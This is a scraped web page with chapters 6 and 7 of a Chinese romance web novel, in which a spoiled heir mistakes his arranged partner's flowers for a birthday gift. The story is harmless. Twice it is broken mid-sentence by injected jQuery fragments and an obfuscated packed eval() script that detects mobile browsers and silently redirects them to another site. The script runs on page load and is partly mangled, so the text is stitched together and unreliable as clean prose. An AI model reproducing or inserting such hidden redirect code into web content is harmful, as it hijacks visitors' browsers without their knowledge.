$(''#content'').append('' > 他要是不答应的话,那估计就只能去找老爷子帮忙了。 接过保温袋,傅淮眼睁睁看着黎书后退了一大步,像是躲瘟疫一样远离,而舒许却又觍着脸走近了一大步。 他不满地皱了皱眉,正要说什么,就听黎书开口道:“那我先回去了。” 傅淮猛地站起身来:“我和你一起。” 随后,在身后周阅几人震惊的目光中,跟着黎书走了出去。 路上傅淮懒得打开保温袋来喝汤。 这么拎来拎去走一趟,汤最终还是在家里喝的。 傅淮喝汤的时候,黎书也没走远,就坐在旁边,侧身看着他喝。 傅淮喝着喝着,心情又突然好了起来。 黎书抬眼看他。 也不知道傅淮现在在想些什么,看着似乎心情不错,而且罕见地没有挑剔,把碗里的汤全都喝完了。 黎书转头看向他,准备和傅淮谈谈他生日宴会的事情。 他坐在这里耐心地等他喝完,就是为了这个生日宴。 黎书说完,傅淮抬眼盯住了他。 果然是要上位。 傅淮这么想着。 在傅淮的记忆了,他那不靠谱的爹妈,在他很小的时候就出国了,但会很偶尔地趁着老爷子不在回来一趟,参加个宴会什么的。 他的父母本来就是没什么感情的联姻,这几年在国外过得也很开放,宴会上,他爸带着新的女人过去,他妈也同样带男人,两边各自的新人,争着都要上位。 然而没多久,就被闻讯匆忙赶来的老爷子给赶出去了。 一起出席这样重要的宴会,就是认定了对方的说法。 虽然在他们这个圈子内,这个新人没几年大概也得换。 但怎么说也算是一种肯定。 黎书也想要上位? 不过想想,黎书似乎挺喜欢他的,大晚上还专门给他送汤过来,想要和他一直在一起也很正常。 傅淮突然想到,当年老爷子嫌丢人他爸他妈各自带着新人去宴会上过于丢人,把他们都赶了出去。 但黎书竟然是老爷子亲自挑的人,傅淮忍不住抬头看了黎书一眼,也不知道他身上到底是哪一点被老爷子给看上了。 黎书说完后,见傅淮突然沉默,黎书以为他不愿意。 可能是生日宴他的小青梅要去,所以不让自己去? 算了,就当他今天白跑一趟。 黎书不再看他,正要低头拿手机找傅老爷子。 傅淮还是没想通,这个天天管着他压迫他的人到底有什么不一样,老爷子什么都站在他那一边。 再次看向黎书的时候,傅淮发现他正垂着眼,睫毛长长地从眼睑垂下,白得有些透的皮肤微微泛红,表情不是很轻松的样子。 不会是要哭吧? 他也没说不让他去啊! “可以。”傅淮沉吟着开口。 闻言,黎书抬头,目光似是有些惊讶。 “但是——” 然而,傅淮紧接着又开了口。 黎书抬眼看向了他。 就在他以为,傅淮要提出什么难以接受的要求时,却突然他说:“——你得跟我一起设置紧急联系人。” “紧急联系人?”黎书疑惑地问道。 “嗯。”傅淮迅速拿出手机,用之前周阅教他的方法,打开各个软件,把两人的电话号码都输了进去。 “行。” 黎书点头。 但他不太明白傅淮为什么突然要这么做,又抬眼朝他看去。 傅淮被他盯得有些脸热,偏开头去清了清嗓子,提高了些声音强调般开口说道:“我可不是要跟你玩什么小情侣的把戏啊,我只是,只是……” 还没“只是”出来,就听到黎书突然开了口:“你生日宴,我能再带个人一起吗?” “谁?”傅淮顿时把刚刚的“只是”抛在了脑海,瞪大眼睛警惕道,“是不是你之前那什么狗屁学长?” “嗯?”黎书也不知道他说的狗屁学长到底是谁,但他也没太在意,解释说道,“不是,是我哥哥。” “你哥哥?” 对,黎家好像是有那么个比黎书大一些的哥哥,傅淮以前听说过,但没怎么见过。 “行行行,去去去。” 怕他又和那什么狗屁学长又什么牵扯,傅淮赶忙点头,不再继续问下去了。 见他同样,黎书顿时松了一口气,转头往里屋走去。 这就走了? 傅淮愣愣地看向黎书离开的背影。 他答应了和他一起去,黎书不应该高兴,然后留下来和他…… 和他干什么呢?傅淮一时也不清楚。 不对,总得要说点好话感谢一下他吧! 怎么一下就跑没影了? 喝完汤后,阿姨从桌上端了碗正要去厨房洗。 “他人呢?”傅淮转头问了阿姨一句,“跑这么快去哪儿了?” “好像是往那边走的,可能在书房?”阿姨说道。 书房? 傅淮也发现了,黎书最近似乎总是在书房捣鼓,也不知道在忙些什么。 难道是在密谋着什么压迫他的新方法? 而且,傅淮还发现,搬进别墅这么久以来,家里面全是他自己随手放的游戏机,搜罗来的拼图模型,东一个西一个放了就忘的杯子。 而黎书的痕迹,在这个家里却很难察觉。 黎书的私人用品不多,大多是一些书籍资料,全都摆放在书房,整齐地堆叠在那里。 他这是要干什么,不会真要偷偷整理东西搬走吧? 傅淮回过神来时,发现自己已经大步朝着书房走去。 累了一整天,大晚上又跑出去一趟,黎书伸了个懒腰,走进浴室去准备舒舒服服洗个澡。 洗完澡出来,正要好好休息,他眼角的余光,却看见书房的灯似乎亮着。 他之前出来的时候忘记关灯了吗? 应该不会的,大概是实验室里待久了的缘故,黎书事事追究细致,不会有这种粗心的时候。 他猝然转头,视线盯住了走廊那一头的书房。 黎书远远看到,书房里傅淮的背影,似乎正低着头,在柜子边翻找着什么。 黎书心头一跳,当即大步赶去。 6. 第 6 章 书房的面积不算很大,里面只放了一张大书桌,还有边上的一个小立柜。 从住进这个别墅起,除了搬进来的第一天,傅淮参观这个别墅整体的环境时进来过一趟之外,其他时候他几乎就没有再来过这里了。 现在别墅的书房,几乎成了黎书的私人空间,里面都似乎充斥着一股黎书身上特有的冰冷的实验室消毒水的味道。 黎书没有在书房。 那他会在哪儿? 傅淮一边想,一边趁着这个机会,四处环视了一下这个黎书常待的书房里的环境。 书桌上的书本杂志都摆放得横平竖直一丝不苟,桌面干净得像是抛了光,就连桌上的杯子把手似乎都有它自己特定的朝向。 看了一圈之后,傅淮一时都不太敢动弹,怕是惊扰了这里特定的阵法,哪怕稍微把某一本书的位置微微一挪,哪里就会有毒针突然朝他迎面飞来。 但他一转头后,突然发现在书桌和柜子相连的转角,一小摞书的上方,竟然出现了和这整个场景非常不搭调的物品。 ——一只两只大耳朵看着比身子还大,重重往下垂的兔子玩偶。 雪白的绒毛,鼻子而耳尖上还带着点粉。 倒是和黎书容易泛红的皮肤有那么一丝的相像。 傅淮脑中下意识浮现出了这么一句话。 这个兔子玩偶,好像他刚搬进来的时候买什么东西送的,傅淮也有些记不清楚了。 大概是当时被随手摆在了书房当装饰,黎书也就没把它拿出来,直接让它坐在了书堆上方。 大概是兔子的耳朵太重,压得整个身子重心不稳,忍不住向前倾。傅淮不知怎么,又想到了黎书那看着清瘦的小身板。 要不明天让阿姨再炖个补一点的汤来? 这么想着,傅淮弯下腰,又忍不住伸手,轻轻地碰了碰兔子玩偶那有些泛红的耳朵。 要是黎书也像这个兔子一样乖乖不动,不来管他,那该有多好啊。 傅淮忍不住感叹道。 “你在干什么?” 没什么温度的声音啥时间在背后响起。 黎书不知什么时候走进了书房。 还真是想什么来什么啊。 傅淮一手还捏着兔子的耳朵尖上,听到黎书的声音,他莫名耳根一红,忙把手缩了回去,站直身子,清了清嗓子说道:“那个……这个兔子挺可爱啊。” 黎书没有听他讲话,视线不动声色地朝着兔子后边的柜门望去。 柜门上的锁依旧完好,摆放在柜门外的一摞书也正对着窗户的刻度,没有一丝一毫的歪斜。 应该没有被人动过。 黎书松了一口气,转眼看向傅淮,又看了看他刚刚摆弄的那个兔子玩偶。 随后,黎书一伸手,拎起那只兔子玩偶往客厅里一放,开口说道:“你喜欢的话,就放在客厅里吧。” “什么我喜欢……”傅淮的耳根似乎依旧有些泛红。 不过,黎书此时的注意力都在书房的柜子上,倒是没有察觉他的异样。 黎书拎着兔子,正要往外边放,突然听到傅淮在身后说了一句:“你别这样拎脖子啊。” 闻言,黎书的眼神带着几分奇怪的看了傅淮一眼,不知道他突然发的什么神经。 这是个玩偶,又不是真的兔子,拎个脖子怎么了。 傅淮抬眼,视线下意识看向了黎书细白的后颈。 如果是黎书的话,白得几乎透明的皮肤,轻轻一碰应该就会变红了吧。 一瞬间,傅淮突然感觉,屋里似乎不太通风了,有些微微的发热。 这什么牌子的新风啊,效果这么次,明天就去给它换了! 放完玩偶,黎书转过头,发现傅淮的视线又再一次朝着书房看去。 黎书心里的弦又一紧。 但或许只是随意一看,傅淮很快又收回了目光,朝卧室里走去,应该是准备休息了。 等到傅淮走远,黎书长舒了一口气,确定柜子的锁是完好的之后,关上灯走出了书房。 傅淮脚步轻快地走向卧室。 难怪他刚刚一进书房,黎书马上出现,语气好像也不太欢迎他进来。 刚刚快要走出书房时,傅淮又随意朝里面看了一眼。 他好像看到,书房的角落里,摆放着一大束花。 是不是他的生日快到了,黎书偷偷给他准备了花,想要给他一个惊喜,所以才不让他现在进去? 一定是这样的! 傅淮没有拆穿黎书,他假装自己没有发现,喜滋滋地跑去洗漱睡觉去了。 一晚上睡了个好觉。 第二天难得起了个大早,傅淮伸着懒腰起床,准备去和阿姨说一声,让她炖个汤给黎书补补。 路过书房时,他下意识转头一看。 下一秒,傅淮就感觉到,似乎有什么不太对劲。 不对,花呢? 他忙后退一步,站在书房门口仔细往里望了望,原本放着花的角落里此时空荡荡的,那一大束花确实已经不在那里了。 什么情况? 难道是黎书昨天以为他看到花了,所以今天紧急转移地方了? 是因为害羞,所以不想提前让我发现吗? 傅淮这么想着,又记起了昨天晚上。 “怎么突然进书房了?”黎书似乎随口问了一句,“之前不是和书房风水不和吗?” 傅淮也不知道他怎么就突然进来了。 他也只是好奇而已,黎书整天窝在书房,他就进来随便看看,傅淮想着。 才不是来看黎书是不是准备要偷偷搬走。 “我——”傅淮迅速回答道,“我就是看看你每天在这里面瞎捣鼓什么,不会把这里也当成实验室了,一不小心就给炸了吧?” 傅淮这话才刚一出,愣是他再不会看眼色,都能迅速感觉到,黎书的脸色肉眼可见地冷了下来。 傅淮一时也不清楚这句话哪里惹到他了。 他只是随口这么一说,又不是真的觉得黎书会把家里给炸了。 而且,就算真炸了也就炸了,人没事就行,他家房子多,再换一套给他炸不就行了? 难道是因为这人学术比较严谨,不喜欢别人说他会实验失误? 就算开玩笑的也不行? 真不愧是好学生啊。 傅淮忍不住在心里嘀咕。 空气安静了片刻,黎书抬眼,掩去了眼里的冷意,开口说道:“书房里面东西比较乱,你以后还是少进来吧。” “哦。” 黎书当时看着脸色确实不太好,和平时不管走路还是坐着都习惯挺直肩背的样子不同,此时,大概是累了,他双肩罕见地有些微微下沉,傅淮不敢再说什么,只能点头应下。 所以此时,傅淮没有进去,看见黎书路过,开口问了他一句:“那个……花呢?” “什么?”黎书一时有些没反应过来。 “我是说——”傅淮伸手一指书房,“这里面的花呢?” “哦,你说那个。”黎书说道,“我放学校了。” 陈杨在化学竞赛上得了奖,过两天学校有个颁奖大会,黎书准备那时候过去送给他。 “放学校?”傅淮根本不信。 还不承认偷偷给他生日准备花了? 害羞了,还是欲擒故纵? 但不管是什么小把戏,只要肯为他花心思就好。 这么想着,傅淮脚步又再一次轻快了起来,喜滋滋地跑去厨房让阿姨再炖个补汤。 周阅的电话打过来的时候,傅淮的嘴角还在不自觉的微微上扬。 周阅莫名感觉他似乎心情不错,随口问了一句:“在干嘛呢,这么高兴?” “没。”傅淮说道,“在家受压迫呢。” 周阅:“……” 那大概是受压迫太频繁,开始出现幻觉了吧。 默默嘀咕了一句之后,周阅这才想起来找傅淮的正事。 他问傅淮道:“黎书没给你断电断网吧?舒许说他联系不上你。” “断网了你现在在跟鬼聊吗?”傅淮说道,“网好着呢。” “那怎么……”周阅不解。 “我跟他能有什么好联系的。”傅淮没兴趣聊舒许的事情,“见都没见过几次。” “你跟黎书之前不也没见过几次,前些日子天天都在聊他,一天能讲八百回。”周阅默默翻了个白眼。 “那能一样吗?”傅淮迅速辩解道,“我那是在严厉控诉他的压迫行为!” “是吗?”周阅表示不太相信,随后又再次说道,“你生日不是快要到了吗,人家舒许准备了花和烛光晚餐想要和你一起呢。” 这话一出,傅淮脑中顿时浮现出了那天在电影院了,黎书一进来,就看见舒许站在他旁边的情形。 傅淮顿时额头冒汗,赶紧说道:“让他滚。” “这不太好吧。”周阅说道,“这么久没见了,人家才刚一回国就跑来找你。” “他都这么花心思了……” “我不需要。”傅淮当即严词拒绝,又突然得意道,“已经有人给我送花了。” “谁啊?”周阅笑他道,“各个大牌店为了维护你这个vvvip客户给你送来的花?” “瞎说什么呢。”傅淮反过来嘲笑周阅道,“那是你吧。” “我的是黎书给我送的。”傅淮说道。 “我不信。”周阅表示怀疑,“拍个照片来看看?” “照片……”傅淮低头看向手机。 幸好那他昨天晚上为了保留证据,匆忙间还真是拍到了书房角落里那一大束花的一个小角。 “你这什么角度?这不是偷拍的吗?”周阅一边说着,一边把照片递给一旁的张延一起判断,“真是给你的?” “那是他害羞!”傅淮“噌”的一声站起来说道,“等快到我生日了,他就该红着脸偷偷把花塞给我了!” 傅淮的生日也没几天了。 这两天每天一早起来,他都先偷偷睁开一只眼睛,看看床边有什么什么花的影子。 然而,第二天就要到他的生日了,黎书那边,竟然还没有什么动静。 - A大研究生宿舍楼。 黎书抱着一大束花,从楼里走了出来。 黎书在学校里有宿舍,是两人一间,不过,黎书常年泡在实验室里,不怎么能见着他的室友。 黎书性格内敛,话不太多,室友是个话挺多的人,和他关系倒是还行,只是那人是个马大哈,时常找不到书啊笔啊小刀啊之类的物件,经常需要借用黎书的东西。 黎书时常不在宿舍,也就更不方便在宿舍里放重要的资料。 黎书低着头匆匆走着,一边在心里盘算着。 本来以为别墅那边,傅淮肯定不会进书房,所以那里还算安全。 但那天晚上不知怎么突然就进去了,还差点往柜子里翻。 所幸没有翻到,傅淮也没在意。 不过倒也正常,这整个别墅都是傅淮的,他想要去哪里黎书也拦不住。 书房现在,也不一定安全了。 平时要是直接在书房锁上门反而会看着很奇怪,黎书想着,还是得要有个自己的地方。 等过两天,他打算去学校旁边租个只有他自己一个人的小房子。 颁奖会在下午。 黎书先是把花提前放在了后台,随后跑了一趟图书馆,准备把之前借的那几本书给还了。 路过的一旁自习室,黎书视线不经意划过,突然间顿了一下。 随后,他又转过头多看了一眼。 黎书没想到的是,他竟然能在图书馆这样的地方看见傅淮。 他还以为图书馆和书房一样,都是傅淮一进就会过敏,从不会涉足的地方。 而再定睛一看。 黎书看到傅淮耳朵上戴着个耳机,似乎正捧着手机低低头打游戏。 行吧,是他想多了。 还没来得及移开视线,那边的傅淮像是察觉到了什么一般突然抬头,和黎书对上了视线。 看见黎书,傅淮一愣,随后小声了开口,似乎在对他说什么。 “嗯?” 黎书以为他有什么事,转身走了过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776627|145744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 才刚走到自习室,傅淮往桌上一趴,一伸手拿了本书挡上了自己。 这个黎书,不会是专门跑来学校管他的吧? 傅淮小声说道:“别让别人看见。” 不然学校里这么多人当众看到他被管,那得有多丢人。 黎书愣了一下。 傅淮刚要张口解释,就见黎书点头说道:“好。” 答应得这么快吗? 这下轮到傅淮愣了。 黎书也没再说什么。 学校里,除了圈里知道他和傅淮联姻的人之外,还有很多根本不了解这些事情的普通学生。 傅淮不想让别人知道自己和他的关系也很正常。 低头看了一眼时间,颁奖典礼也快要开始了。 黎书不再说话,转头走出了图书馆。 “不是……” 见黎书转头就走,傅淮又再次愣住。 他才刚站起身来,就看见张延和周阅从外面走了进来。 “走吧。”张延说道,“怎么找了这么个地方等?” 傅淮盯着图书馆的出口看了几眼,随口扯道:“这边冷气足,还安静。” “这样啊。”周阅点点头,突然又想到了什么,转头对傅淮说道,“昨天舒许那边你没去,舒许好像还哭了。” “管他呢。”傅淮根本没在意。 “哎对了,你的花呢?”周阅又说道,“之前不还说收到那一大束花要拍照片给我们看吗?” “花……”傅淮愣了愣,随即瞪眼道,“我生日不是明天才到吗,当然是明天送啊!” “哦,这样啊。”周阅点头,一边往外走着,一边刷着朋友圈说道,“你看舒许发的朋友圈,花都枯了,哎不对——” 周阅顿时提高了声音。 “怎么了?” 一旁的傅淮和张延都转头朝他看去。 只见周阅缓缓地举起了手机,点开朋友圈里不知是谁发的一张照片放大,随后,伸出一根手指,颤颤巍巍地指着照片里的花说道:“这不是……你的花吗?” “什么?” 傅淮劈手夺过手机,睁大眼睛盯着那张照片看去。 照片应该是一个老师发的,内容似乎是颁奖典礼的现场。 画面中,黎书抱着一大束花,正微笑着递给面前获奖的学生。 而他怀里抱着的这一束花,正是傅淮在书房角落里看到的那一大束花。 “这是哪里?”傅淮倏地转头问道。 “学校大礼堂啊。”周阅答道。 “今天下午的颁奖典礼,导员通知了,咱不是准备翘了吗?”周阅又问道。 “翘什么翘。”傅淮又一瞪眼,“这么重要的场合,肯定得去一下啊,你还想不想毕业了?” 周阅:“……” 这颁奖典礼也不算学分啊,跟毕业有什么关系? 一路上匆忙往大礼堂赶去的路上,傅淮似乎还在不住地嘀咕。 “这花也不好看啊,就是看着大一点而已。” “化学竞赛,算是黎书的半个直系,颁奖送个花也正常。” “说不定是学校让他送的呢。” “他这几天鬼鬼祟祟的不让我进书房,肯定还在给我准备别的惊喜。” “肯定是比花更好的生日礼物。” “……” 几人走到大礼堂时,奖已经快颁了一大半了。 傅淮他们几个从大礼堂的后门钻了进去。 “我们班好像在那儿!” 周阅很是眼尖,一眼就瞄到了大礼堂里自己班级坐的那一块地方。 傅淮没有理他。 他环视一周,突然朝着另一个方向径直走去。 “哎淮哥,你去那儿啊?”周阅惊讶道。 周阅还在那儿张望着手足无措,一旁的张延一个伸手,拽着他朝着傅淮那边走了过去。 走了几步,周阅这才看见,大礼堂的角落处,黎书正安安静静地坐在那里。 傅淮悄摸上前,在他旁边轻手轻脚地坐了下来。 一旁的黎书低着头,不知在手机里翻看着什么,看得很认真,似乎并没有发现旁边突然多出来一个人。 傅淮转头看了他一眼。 随后,又看了他一眼。 刚刚在图书馆里不是直接朝他走过来了吗?现在都坐旁边了,这么好的机会,黎书他怎么还不搭话? 他是在害羞吗? 难道还要我主动? 我才不要,是他喜欢我,我又不喜欢他。 傅淮暗自在心里想道。 黎书也不知道傅淮怎么突然间跑这里来了。 原本还以为有什么事,但傅淮坐下后也不说话,可能只是想换个环境打游戏? 想到之前在图书馆里,傅淮并不想让周围的同学知道他们两人的关系,所以,黎书也就没有打算开口和他说话。 傅淮转头看了半天,旁边的黎书愣是没有什么动静。 傅淮有些等不及了。 他小声清了清嗓子,正想找个什么借口开口时,突然听见一阵脚步声传来。 一转头,就见一个看着像学弟的年轻男生正朝着这边跑来。 傅淮不认识他,也没当回事,以为是个刚刚去上厕所回来的人。 而他刚转回头,就见这个男生已经出现在他的旁边,伸手轻轻拍了拍他的肩膀,礼貌开口道:“那个你好,请问我能和你换个位置吗?我想和学长坐在一起。” 和谁?什么学长? 傅淮猛一转头。 黎书的座位已经在最边上了,想要坐到傅淮这个位置,只能是想和黎书坐在一起。 这是什么人?! 傅淮顿时瞪大眼睛。 之前有个什么狗屁学长,现在怎么突然又冒出一个学弟来? 傅淮半点儿也不肯挪步,当即转头盯着黎书,似乎在说:你快说句话啊! 黎书没看懂傅淮是眼睛抽了还是怎么了。 他转头看了看身后,商量般指着后面对傅淮说了一句:“那里位置更大些,要不你坐后面?” 7. 第 7 章 陈杨在傅淮的位置旁边站了片刻,低头等着他起身和自己换个位置。 然而,也不知道这个人到底在磨蹭什么,迟迟不肯站起身来。 按理来说,就像黎书刚刚说的那般,后面的位置空间更大。 此时他坐的这个位置,可以望见傅淮这么个大高个的两条长腿委委屈屈地缩在前面,看上去着实还挺憋屈。 而后面的位置更加宽敞,舒适度也能更加提升不少。 但陈杨不解的是,这人在听了黎书的话之后,却瞬间转头,睁大眼睛不可置信地看向了他,像是黎书刚刚说错了什么一般。 一旁看热闹的周阅甚至能在傅淮震惊的眼神中看出里面明晃晃的四个大字——始乱终弃! 周阅缩在一旁转头左右看看,一时也不敢说话。 就这么僵持了几秒。 就在陈杨继续低下头来,似乎还想要说些什么的时候——原本安静坐在角落里的黎书突然站起身来。 傅淮不知怎么,也下意识“噌”的一下跟着站了起来。 黎书其实不太明白傅淮为什么不愿意换个位置。 明明现在这个角度,往台上看的视角都是歪的,黎书刚刚只是为了安静才往这边坐的。 而且,黎书觉得,傅淮看着也不像是会对颁奖会感兴趣的样子。 那他会什么不肯换个更大坐着更舒服的位置呢? 难道是平时从来没人敢让这位大少爷亲自起身让位? 有可能吧。 黎书也没管那么多。 气氛僵持之下,他第一时间想到的解决办法就是——站起身来,顺手把一旁不知为何也跟着起身的傅淮摁着又坐了回去,随后走到傅淮的另一边的空位上坐下,示意陈杨在自己旁边落座。 陈杨点点头,听话地在他旁边坐了下来。 此时的陈杨和傅淮,就这么在黎书的一左一右落座后,都转头朝他看了过来。 一边的陈杨刚拿了奖,又收到了黎书亲手送的花,眼里溢满欢欣。 他微微朝着黎书倾身,似是有好些话想要和黎书说。 而另一边的傅淮浑身紧绷,虎视眈眈地紧紧盯着陈杨,像是在防备着他的下一步动作。 陈杨被他盯得有些发毛,求助地转头朝着黎书看去。 “怎么了?” 黎书侧过头,问了傅淮一句。 傅淮也不说话,但却能轻易从他眼里看出浓浓的不满来。 他不说话,黎书也猜不到他怎么就突然心情不好了。 平时黎书可以装作没看到不去管他,但现在不行。 明天还有生日宴呢。 想着,黎书拍拍陈杨的肩笑着安抚了他一下,随后转头看向傅淮,问他道:“你哪里不舒服吗?” “没有。”傅淮撇开头去不看他,语气硬邦邦地说道。 “那怎么了?”黎书说着,伸手轻轻碰了碰他的额头,想要看看他有没有发热。 傅淮没想到黎书竟然会直接动手,一时来不及躲避,被他的手贴了一下自己额头。 傅淮顿时睁大眼睛定在了原地。 “没发烧啊。”黎书很快收回了手,又凑近傅淮看了一眼,疑惑道,“到底怎么了?” 黎书突然间凑近,近到傅淮刚刚睁大的眼睛里似乎能印出他的倒影。 他这句问话很轻,气息如同绵软的羊毛轻轻钻进傅淮的耳中。 傅淮半点不能动弹。 他就这么看着眼前的黎书,也同时看到了他眼里隐藏的疑惑和担忧。 他在关心我? 傅淮这么想着。 浑身的血液又重新开始流动,傅淮微微转头,如胜利的大鹅般仰起脑袋朝着一旁的陈杨看了一眼。 随后,他想起什么,委委屈屈朝黎书说了一句:“中午没吃饭。” “哦,这样。”像是终于找到了问题的关键,黎书松了一口气,转头说道,“想吃什么,我给你点?” 闻言,傅淮又再次得意地仰起脑袋,语气轻快道:“吃什么都行!” 果然,黎书还是很喜欢他的。 什么都这么惦记着他。 傅淮他们几人之前溜进大礼堂的时候,颁奖典礼已经过去了一大半了。 等黎书点的餐送到时,颁奖典礼正好结束。 陈杨起身,从一侧抱起那一大束花,又再次转头对黎书说了谢谢。 “我得把它抱到宿舍里找个花瓶仔细养着。”陈杨笑了起来,露出两边可爱的小虎牙,“可不能让它们枯了。” 身后傅淮顿时瞪起了眼。 刚刚在朋友圈里的那张照片上有遮挡没看清人,黎书的花,竟然是送给他的? “不想吃了。” 黎书把刚刚点的餐递给傅淮时,傅淮一扭身子,迅速撇开脑袋不去看他。 黎书:“?” 也不知道傅淮今天哪根筋搭错了,怎么看着阴晴不定的? “是没胃口还是不想吃这个?”黎书仍好脾气地问道。 傅淮低着头不说话,像是在什么闷气让黎书猜。 黎书能解得出最难的题,但却猜不透傅淮这个阴晴不定的大少爷脑中想的到底是什么。 想到明天的生日宴,他需要暂时稳住黎家夫妇,还得要靠傅淮。 黎书无奈地轻轻叹了口气,像是哄不听话的小孩那般开口道:“这么久没吃饭,先垫一口好不好?” 几乎没听到过黎书用这样的语气说话,傅淮下意识转过头来。 一转头他就看见,黎书正抬眼认真地看着他,傅淮似乎能从他漆黑的瞳孔里看到自己倒映在里面的影子,包裹在他柔和的眼神之中。 像是自己正被他温软修长的手指轻轻抚摸脑袋,傅淮感觉自己正被他认真对待,像是不管他说什么,黎书都会点头答应。 傅淮别扭地转开头,片刻,低低地开口说道:“你给他送花都没有给我送花。” “他谁啊?!” 听着语气似乎不是太好。 “他是我学弟。”黎书说道,“他得奖了呀,所以我给他送花。” “那还我生日了呢,怎么都没有花?”傅淮语气硬邦邦地说道。 “哦,这样啊。” 原来在生气这个。 黎书之前确实没有想到傅淮生日要给她准备花这件事。 前些日子,黎书帮黎家安排好了大哥进傅淮生日宴的事,黎家很开心,说傅淮生日宴的礼物他和大哥的都一起帮忙准备好了,让黎书不用再自己准备了。 正好黎书也懒得操心这事,也不用再花额外的钱。 毕竟给傅淮送生日礼物也得花去一大笔钱,他既省了钱又省了心,也没再想过这事了。 也不知道傅淮这是怎么了,突然想要花了。 黎书可以确定,傅淮肯定是不缺花的。 毕竟他们这样的大少爷办个生日宴,宴会上堆满的花第二天都要额外收处理费。 黎书估计他也就是一时兴起, “一会儿给你买可以吗?”黎书问道。 傅淮终于开恩般点头,原本耷拉下去的脑袋似乎又仰了起来,并大手一挥说请他们去吃大餐。 吃完饭出来,黎书本来要去花店看看给傅淮买个什么样的花。 但刚刚吃得时间有些长,附近的好些花店都打烊了。 明天应该来不及了。 黎书站在原地思考片刻,转头对傅淮说了一句“等一下”,转身朝着身后大步走去。 黎书突然想起,他宿舍里还有一盆花在。 这盆花本来是刚搬进来的时候室友养的,一脸积极向上地说是就算在宿舍也要热爱生活。 但在实验室里磋磨了没几天,这股劲儿就已经消耗殆尽,花和人都奄奄一息。 这时候,花被不忍扔进垃圾桶的黎书接手了过来。 虽然在宿舍的时间不多,但在他的细心照料下,原本奄奄一息的花竟然又被他养活了,现在开得还算不错。 正好黎书准备这两天要修一修枝叶,于是,黎书跑到宿舍,摘了一小枝花准备去给傅淮。 黎书猜测,他应该就是看个新鲜。 新摘的,自然最新鲜。 “人呢?不会趁机跑了吧?” 黎书大步转身走后,傅淮一脸疑惑地转头朝他离开的方向看去。 黎书刚刚前去的方向是宿舍。 傅淮他们的本科生宿舍楼就在研究生宿舍的后面,但傅淮不住宿,也没怎么来个这里。 天色已经黑下来了。 傅淮转头四处看看,最后还是提步走了进去。 没走几步,他的视线突然停住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776628|145744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他看见,路灯下,黎书正蹲在地上,手心里放着几块肉干正在喂猫。 是常驻学校里的几只小流浪猫。 夜色沉沉,路灯昏黄的光打下来,在他身上笼罩了一圈浅黄色的光晕。 傅淮没见过这样的他,和实验室穿白大褂的那个黎书似乎不像同一个人,黎书轻轻伸手,摸了摸正在低头吃得正香的猫,嘴角微微地扬了一下。 灯光照在他身上的那一圈浅黄色光晕,让他看着也像一旁的那只大橘那样,毛绒绒的,很柔软的样子。 让人忍不住想要摸一摸。 “这个行吗?” 等到傅淮回过神来的时候,黎书已经站起身,走到他的面前。 傅淮抬眼,看到了黎书手上的一小截花枝。 “我自己种的,没有花店的好看,但刚摘的很新鲜。”黎书说着,把手里刚摘的那一小枝花递给了傅淮。 确实,他的花看着朴素了些,不像花店里的花那样会提前补色喷香水,但胜在绝对鲜活。 傅淮回到家的第一件事,就是从家里的大玻璃展柜里挑了个老爷子之前拍的藏品花瓶,小心翼翼地把花插了上去,放在了客厅的正中央。 随后,他举着手机给这花拍了八百张照,挑了九宫格发了朋友圈。 朋友圈下面很快出现了周阅的评论:“这什么啊?一模一样的照片你至于发九张吗?” “你懂什么?这是黎书亲手摘了送给我的。”傅淮说道,“不是买的,这是人家自己种的,提前这么久专门种的,就是为了生日给我送花!” “那天他还和学弟一起——”周阅正要开口,但见傅淮兴致高昂,“……算了。” - “黎书啊。” 第二天,生日宴上。 他的任务早已经完成,生日宴也没他什么事,黎书本来准备露个面就撤了的。 听到熟悉的声音,黎书顿住脚步,唇角微微绷紧。 闭着眼睛深吸一口气后,黎书睁开眼,很快掩去了眼里的冷意,转过来身。 “一眨眼这么大了。” 抬眼看向黎书,黎夫人似是感慨般说道。 “当年刚来的时候——”黎夫人伸手指了指一旁的走过去的小孩说道,“也才这么点大吧。” “嗯。”黎书笑笑。 “你这样穿真好看。” 饶是黎夫人都忍不住眼前一亮。 他身上的衣服是老爷子准备的,高级手工定制,没有牌子,衣领处绣着设计师自己的名字。 黎书很少穿这类比较正式的衣服。 高级剪裁的衣服十分合身,黎书身形清瘦,但肩背挺拔,腰身处微微收拢,更显得腰细腿长。 这衣服应该是傅家准备的。 黎夫人能判断出这衣服面料版型都极好,但看不出牌子,也估不出具体的价位。所以,她一时也不好判断黎书进了傅家之后的地位,能不能给黎家带来足够的帮助。 再打眼一看,这么一会儿下来,傅淮不是和他的朋友聊天,就是几个大少爷聚在一起吃喝打闹,几乎都没看过黎书一眼。 黎夫人有些急了,她拉住黎书:“这些天在傅家还好吧?他们没有亏待你吧?有的话一定和阿姨说啊。” “没有。”黎书摇头道,“挺好的。” “是吗?”黎夫人顿了顿,还是问了出来,“怎么都没见着傅淮过来,不和你一起吗?” “你大哥也没比他们大多少,想和他们多聊聊天,还能讲讲项目的事……” 黎书知道她的意思。 黎家人怀疑他和傅淮两人相处得不好,不能给黎家带去什么利益。 虽然他也没想过给黎家带去什么利益。 不过现在还不是时候。 